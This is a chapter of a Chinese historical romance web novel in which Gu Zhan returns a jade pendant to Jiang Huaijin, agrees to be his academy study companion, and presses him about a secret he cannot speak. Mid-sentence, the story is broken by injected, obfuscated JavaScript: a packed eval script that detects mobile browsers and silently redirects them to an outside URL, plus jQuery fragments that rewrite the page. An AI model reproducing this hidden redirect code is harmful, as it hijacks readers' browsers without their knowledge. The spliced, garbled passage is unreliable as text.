第18章
“我什么时候说过很烦你?”
顾瞻回身,不解地瞧了一眼跟在后面的江淮锦:“这话不是你自己说的吗?”
江淮锦:“反正你就是这个意思。”
“我不是这个意思。”顾瞻让了一步:“进来。”
顾家不大三间屋子,顾瞻的这间是最小光线最昏暗,如果说月娘那间屋子还有一点惨淡淡的光,那到了顾瞻这里就是黑压压一片,几乎伸手不见五指,江淮锦立在原地等着顾瞻点灯,微弱的烛光亮起来后,他才看清楚,小屋子里只放了一张单人的木板床,很窄,可能根本就放不下顾瞻这么大的个子,夜里翻身都要小心些,说不定会掉下来。
除掉一张床就是一个木头箱子,箱子上面放着装蜡烛的陶瓷碗和几本书,算是顾瞻的书桌,除此之外再无别的东西。
整个房间连下脚都不方便,更不用说待客用的椅子,江淮锦扫了一圈,直接坐到了顾瞻的床上,坐完以后才仰着下巴问:“我坐这儿可以吧?”
那态度,听着是问顾瞻呢,实际上要是多了解他一点,就知道他这动作行为,就是直接在宣誓主权。
别管顾瞻在什么地方,占地百亩的将军府也好,眼下转不开身子的小黑屋也罢,只要是顾瞻的地方,他就是半个主人,就可以坐顾瞻的床!
顾瞻俯身过去,盯着江淮锦的眼睛看,把江淮锦看得十分不自在,到底还是先移开视线,可也没推开顾瞻,只是梗着脖子强撑着底气:“你干嘛?”
虽然他是对顾瞻有很多不可见人的小心思,也很想顾瞻。但现在跟以前可不一样,他们还不是明媒正娶的关系呢,而且顾瞻也没有说过对他有什么意思,靠这么近做什么?如果、如果一会儿顾瞻万一真的想做点什么,他如果太顺着,是不是不好?
就在江淮锦很认真思考的时候,没瞧见顾瞻眼里的笑意。
顾瞻伸手越过江淮锦,从他身后的枕头下面摸出来一个精致的小盒子,递给江淮锦。
这个小盒子可以说是整个屋子里最精致的东西,江淮锦看看盒子又看看顾瞻,不解:“这是什么?为什么要给我?”
“物归原主。”
江淮锦打开一看,果然是那枚他非要硬塞给顾瞻的缠枝并蒂芙蓉佩,江淮锦捏着玉佩,看看顾瞻,冷不丁开口:“顾瞻,你别想让我把匕首还给你,这辈子都别想!”
顾瞻帮他把盒子盖上,拽着江淮锦的胳膊把人拽起来:“东西拿上,送你回家。”
“要送吗?还是你让人来接?”
根本就不搭理江淮锦那话,江淮锦捏着盒子的手指发白:“我认真的,我不可能还给你,你就是把玉佩给我,我也不会还给你!”
“行,不还就不还。”顾瞻无奈道:“我也没说找你要是不是?你只要不给我熔了,爱拿就拿着。”
“那你什么意思?”江淮锦轻咬着唇,有点委屈。
在他看来,顾瞻这个行为就是要跟他划清楚界限。之前还说了那样的话,现在又要把玉佩还给他,就是想划清楚接线不想跟江淮锦有牵扯。
江淮锦搞不清楚,一方面他觉得顾瞻都已经把他带到家里来,那就是说明顾瞻是愿意跟他来往的,只要江淮锦自己稍微控制一下,不要再像之前那样没有分寸没有界限,像个正常人一样还是可以跟顾瞻来往的。
可现在江淮锦就不确定。
“小祖宗,你知道这玉佩多少钱?”
顾瞻叹了一口气,压低声音:“上好的和田羊脂白玉,市面上得作价两万!这还是人家故意压低价钱,你这玉佩正经起码得五万,祖宗,你随手就扔给我,你觉得合适吗?”
江淮锦不懂:“因为它值五万,所以你不能收,要还给我?”
顾瞻:“你觉得我能收吗?”
“能呀。”江淮锦煞有介事:“我给你的你都能收。”
别说区区五万,就是五十五百五千万两,要是顾瞻愿意现在就跟他回去成亲,江淮锦愿意倾尽侯府家产,要什么都能给,可惜顾瞻不乐意。
真是太遗憾了。
“不能收,你好好带回去。”顾瞻态度很坚决。
江淮锦捏着盒子想了一下,望着顾瞻睁着他的大眼睛说瞎话:“这是假的,它不值那么多,是我在小摊上五个铜板买的。”
顾瞻:……
盒子重新被江淮锦塞回枕头下面,江淮锦的态度也很坚决:“送出去的东西没有收回来的道理,顾瞻,你别想!”本来只是随手给顾瞻的小玩意,现在可不一样,在江淮锦心里,这块玉佩现在就是他送给顾瞻的定情信物!
顾瞻很头疼:“你到底想干什么?”
“什么也不想,我想的你又不答应。”江淮锦绕过顾瞻:“走呀,不是要送我回去?再不走兵马司巡逻过来,咱俩都得被抓去吃牢饭。”
“如果我答应跟你回书院呢?”
江淮锦脚步一顿,将信将疑扭脸转过来盯着顾瞻看,不大相信地问:“你说什么?再说一遍?”
“我回书院,给你当伴读。”顾瞻抱着胳膊,语气淡淡:“这就是你想的吗?”
“当真,君子说话要算话,顾瞻你不能诓我,说了要去就一定要去!”江淮锦很兴奋,他没想到顾瞻竟然能松口,本来以为任重道远还要折腾不知道到什么时候,谁能想到顾瞻竟然能这么轻易就松口:“你真的答应跟我回书院?不是哄我的?”
“你果真只想让我回去给你当伴读?”顾瞻眉心微蹙,审视着江淮锦,终于问道:“为什么?江淮锦,你的原因呢?为什么这个人非我不可?”
顾瞻就那么直勾勾盯着江淮锦,这次他一定要一个答案,绝不会再叫江淮锦糊弄过去。
他问得也非常直接,直接点出这段时间一直盘桓在他心头的疑惑:“书院为什么帮我?为什么这个人就非得是我,我到底有什么地方入了你的眼?让你这般、不达目
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16386797|184193||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的不罢休?”
江淮锦不吭声了。
如果顾瞻一定要问的话,江淮锦是不介意告诉顾瞻,不管顾瞻信不信,只要顾瞻问他就一定会说!因为是顾瞻,所以江淮锦一定会说,就算说了顾瞻不信也无妨,可问题是,他根本就说不出口!好像上天给了他重来一次的机会,同时也给下了禁咒,一个字他也吐不出来。
“因为你是顾瞻。”江淮锦眼眶有点红:“我只能说因为你是顾瞻,这就是答案。”
“还是不能说吗?”顾瞻苦笑:“我以为,这回怎么着你都会告诉我了,没想到还是不能讲,看来这件事一定是一个很大的秘密。算了,既然不能讲,那我就不问,总归,你这样的人,也不会是来害我的,对不对?”
“你别生气,我……”江淮锦挺着急,可几次想试着开口,可就是不能,不仅不能反而喉咙里像是堵了团棉花,憋得他通红,甚至像是要窒息。
“呼吸,呼吸。”顾瞻见他着急,赶紧拍着他的后背,让江淮锦缓过劲儿才说:“没生气,你别着急,真没生气,弄得好像我在欺负你这小孩一样,我不追究了。”
说着自己又笑起来,很是爽朗:“又能有多大的事呢?不能说就不说,等你能说的时候再告诉我也行。”
“那你答应我的还算数吗?”江淮锦又怯怯地问道,生怕刚才顾瞻只是糊弄他。
“算,当然算。”顾瞻顺手把江淮锦的衣袖拉平展:“往后就是你的伴读,怎么不算,我要是书念得不好,还请公子手下留情,轻点骂。”
这时的顾瞻还以为江淮锦是个才情很高的小公子,毕竟他这么爱读书,又三天两头撵着自己去书院,一定是个高才,等了解到实情以后的顾瞻恨不得回来扇自己两巴掌,怎么能轻点,必须狠狠教育才行!
“嗯!”江淮锦高兴起来,连脚步都是轻快的。
伴着轻快的脚步不知不觉就走到侯府所在的朱雀大街,顾瞻却不再往前送,江淮锦还在兴奋地跟顾瞻说自己练的大字,邀功才邀到一半就见顾瞻不走了催促道:“怎么不走了?还没到呢。”
离着侯府还有一段时间,江淮锦还不想这么就跟顾瞻分开,他还有好多话都没有顾瞻说,折腾这么多时日,都没机会好好说上两句话,总觉得时间不够用。
顾瞻笑笑:“这里很安|全,前面应该有人来接你,我就不送了。”
“可是……”江淮锦不怎么情愿。
顾瞻:“可是你还有很多秘密没说,确定现在就要告诉我吗?”
“没有秘密。”江淮锦有点心虚,好像让顾瞻提醒他才意识到要是真让顾瞻送到家里,那顾瞻不就知道他淮安侯的身份了?还怎么低调点跟顾瞻相处?这可不是江淮锦的初衷。
“朱雀大街上住的人家非富即贵。”顾瞻顺着朱雀大街往东遥望:“每往前多走一步,我就能多排除掉一户,江公子,京都里姓江的权贵应该没有几家?经得起我陪你走几步?”